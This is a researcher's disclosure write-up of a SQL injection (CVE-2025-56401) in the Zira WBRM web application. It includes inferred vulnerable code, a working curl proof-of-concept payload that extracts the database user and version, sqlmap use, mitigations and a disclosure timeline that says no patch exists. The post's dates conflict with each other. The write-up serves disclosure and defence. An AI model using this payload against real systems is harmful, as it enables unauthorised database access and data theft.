Zira WBRM SQL Injection - CVE-2025-56401
Matteo Strada (3r_C4l4m174), 25 July 2025
Introduction
During a recent penetration test I discovered a SQL Injection vulnerability in the Zira WBRM 7.0 web application together with my colleague Cristian Castrechini (magnafoco). The vulnerability appears to be a zero day and thus, after contacting both MITRE and the vendor, it has been assigned a CVE.
What is a SQL Injection?
SQL Injection occurs when an attacker can modify an application’s database query by injecting crafted input, often leading to data theft or corruption.
Background & Discovery
While performing an authorized penetration test, I noticed unusual behavior in the search product functionality of the application. Such functionality would get the search terms from the user and then send them to the specific search function in the backend. One of such backend functions suggested that input was being directly concatenated into an SQL query without sanitization, in particular it would return the SQL-Error on a malformed query.
Initial lead
By sending a malformed query:

I got back a SQL Syntax error in the response:

Technical Details
The vulnerable code was found in the /pcback/referenceLookupByTableAndColumnName endpoint. The specific code snippet should something be as follows (I had to infer the logic as I didn’t have access to the webapp source code):
SQL = "SELECT ID, NAME, CODE, CONDITION FROM CFG_REFERENCE_LOOKUP WHERE (UPPER(TABLE_NAME) = UPPER('" + tableName + "') AND UPPER(COLUMN_NAME) = UPPER('STATUS')) UNION ALL SELECT '" + columnName + "' AND STATUS NOT IN ('-1');"
Both the tableName and the columnName parameters are neither validated nor parameterized, making it possible to inject arbitrary SQL.
Impact Analysis
This vulnerability allows authenticated low privileged attackers to execute arbitrary queries on the application’s backend database. Successful exploitation could allow an attacker to:
- Dump sensitive data such as usernames and password hashes.
- Modify or delete database records.
- Potentially, depending on the DB used and the user’s permissions, escalate privileges and gain administrative access.
CVSS 3.1 Base Score: 7.6 (High)
Attack Vector: Remote
PoC Development
First attempt: Simple union-based payload.
Refinement: Extraction via sqlmap to speed up the process.
Despite this being an Error-Based SQL Injection, I was able to create a PoC with a Union-based payload, which extracted the classic username, DB banner, etc. After successfully creating a PoC, I was then able to feed it to sqlmap which was then used to do the heavy lifting. Sqlmap in fact was not able to exploit the found injection on its own, and thus I had to pass the PoC to it to retrieve and weaponize the exploit.
Final PoC payload (example via curl):
curl -i -s -k -X 'GET' \
-H 'Host: vulnerable.site' \
"https://vulnerable.site/pcback/referenceLookupByTableAndColumnName?columnNameid=STATUS'))+UNION+ALL+SELECT+1,user,version(),'d';--+-&langagueId=2&tableName="
Expected output (excerpt):
{
"transactionId": "UUID",
"className": "ba.com.zira.pc.commons.message.response.PayloadResponse",
"responseCode": 0,
"responseDetail": "OK",
"payload": [
{
"id": 1,
"name": "pc",
"code": "PostgreSQL 13.X on x86_64-pc-linux-gnu"
"condition": "d"
}
],
"successful": true
}
This can be visualized in a browser as follows:

Further Exploitation
Following there is proof of successful exploitation. I turned the Injection into a Union-Based for the PoC:

And then used SQLMap to automate further extraction via an Error-Based Injection:

In this particular scenario, the user wasn’t database admin, and the webapp architecture was divided in several microservices running in a K8S cluster, thus no further actions such as RCE was possible. This condition though was dependant on the deployment I was dealing with, but this might not be the case for other deployments…
Mitigation Guidance
Vendors should:
- Implement prepared statements or parameterized queries.
- Validate and sanitize all user input.
- Apply principle of least privilege on database accounts.
Responsible Disclosure Timeline
| Date | Event |
|---|---|
| 2025-07-28 | Vulnerability discovered |
| 2025-07-30 | Reported to vendor |
| 2025-09-25 | CVE assigned |
| 2025-11-18 | Blog post published |
| — | Patch: Not available / No vendor response |
References
For more details, see: